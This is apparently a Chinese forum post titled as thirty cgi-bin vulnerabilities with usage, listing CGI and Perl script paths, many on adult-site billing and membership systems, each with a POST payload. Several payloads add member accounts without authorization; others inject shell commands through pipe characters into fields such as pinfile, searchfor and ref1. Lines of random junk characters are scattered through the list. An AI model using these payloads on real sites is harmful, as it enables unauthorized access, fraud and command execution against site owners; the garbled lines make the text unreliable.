Cgi-bin 30个漏洞＋使用方法

admin

==============================

6 }- u7 h4 O! k/smspass.pl
username=username&password=password

/index.cgi
wei=ren&gen=command

( y4 c' i( A& X5 k% h/passmaster.cgi
Action=Add&Username=Username&Password=Password

- f+ o- w' P. V/accountcreate.cgi
" j) P, T: x) A1 husername=username&password=password&ref1=|echo;ls|

2 f  f8 K7 E0 h1 M, \6 W/form.cgi
name=xxxx&email=email&subject=xxxx&response=|echo;ls|
3 q1 ]1 i2 d4 F2 j$ `
/addusr.pl
/cgi-bin/EuroDebit/addusr.pl
3 u2 U& n7 |6 q! |' a0 euser=username&pass=Password&confirm=Password

/ccbill-local.asp
5 l: @& r& {: g8 h1 g' P! C! E0 b0 v$ u5 |post_values=username:password
& a' m, l$ s/ S  ^1 k
/count.cgi
4 @1 b; d1 I# k: k8 Rpinfile=|echo;ls -la;exit|

/recon.cgi
/recon.cgi?search
! F$ b/ u$ t$ ~6 W/ e/ X! l1 s& p9 d9 Rsearchoption=1&searchfor=|echo;ls -al;exit|

6 j* {! l3 E+ n2 ^4 ~2 k  z* T; S- e/verotelrum.pl
vercode=username:password:dseegsow:add:amount<&30>

/af.cgi
' C. D2 S6 @8 i. {. j$ ^_browser_out=|echo;ls -la;exit;|

2 s" v% G4 W6 h3 K" g, ?/modify.cgi
username=username&password=password&expire=30
/ P: A0 a1 A! J( f
1 v7 D; s8 V- s6 q& ~- P2 F/openjournal.cgi
edit=1&ct=2&go=|echo;ls -al;exit|
9 |" N1 h- q( Q+ p0 b1 ^: P
/gx9passwd.cgi
" L  x( q$ ]" V- v% b- bcmd=ADD&user=username&pass=password

/probecontrol.cgi
command=enable&username=username&password=password

/recon.cgi
searchoption=3&searchfor=echo;ls -la;exit

9 U( E+ p" E5 e5 O% _/htadd.pl
9 A' j1 C& `( |* d  Econfigfile=|echo; ls -alt; exit

& y) n7 @/ l2 x9 g/gx9passwd.cgi
cmd=ADD&user=username&pass=password
- S1 S7 V! c$ _8 P: ?" w9 N
5 K& a$ J) A( `% t- [0 T; v/ibill*.pl
6 _+ n% [' S, x6 u2 Sreqtype=add&authpwd=authpwd&username=username&password=password

/cpay.cgi
% @# u; g+ t+ I) hcommand=add_member&username=username(EMAIL)&password=password(DES)
# N8 l! ?1 }- f( R; O
/globill_ut.cgi
4 C$ d5 m( N( \# R" pdo=add&username=username&password=password&wpassword=password
" d: |. X, u5 |3 V, n5 W# u
/usercontrol.cgi
command=enable&username=USER&password=PASS

/globoSALErum.cgi
9 ?0 T9 }) D/ u& m8 |# v, a2 k4 \, Kaction=ADD&seccode=seccode&login=username&password=password

- Z$ j$ }7 I/ u! O: D/addusr.pl
7 P/ Q+ A9 C9 F/ R4 E6 Iuser=USER&pass=PASS&confirm=PASS

/pincount.cgi
/cgi-bin/mastergate/pincount.cgi
pinfile=|echo;pwd;exit|
, a4 `7 G0 J' P4 Z% N5 x0 i
/accountcreate.cgi
/cgi-bin/gateway/accountcreate.cgi
, M$ Z/ \' q7 b+ z* busername=username&password=password&password2=password&ref1=|echo;ls -al;exit

/af.cgi
/env.cgi
ADD+;echo;pwd;exit

/count.cgi
, W7 g$ G7 d$ A) |# Wpinfile=|echo;pwd;exit|

) @1 z3 V& [, i/ z/recon.cgi
searchoption=1&searchfor=|echo;ls%20-al;exit|

- S7 S" }1 \" T* Y5 h/add.cgi
username=username&password=password&expire=30
+ L, ?! l4 q$ ]4 f$ C/ \5 u) T
) c% M3 e9 n  ~- h5 M, o  C==============================
3 l8 D$ g0 I5 A* l$ Z5 u/ M" e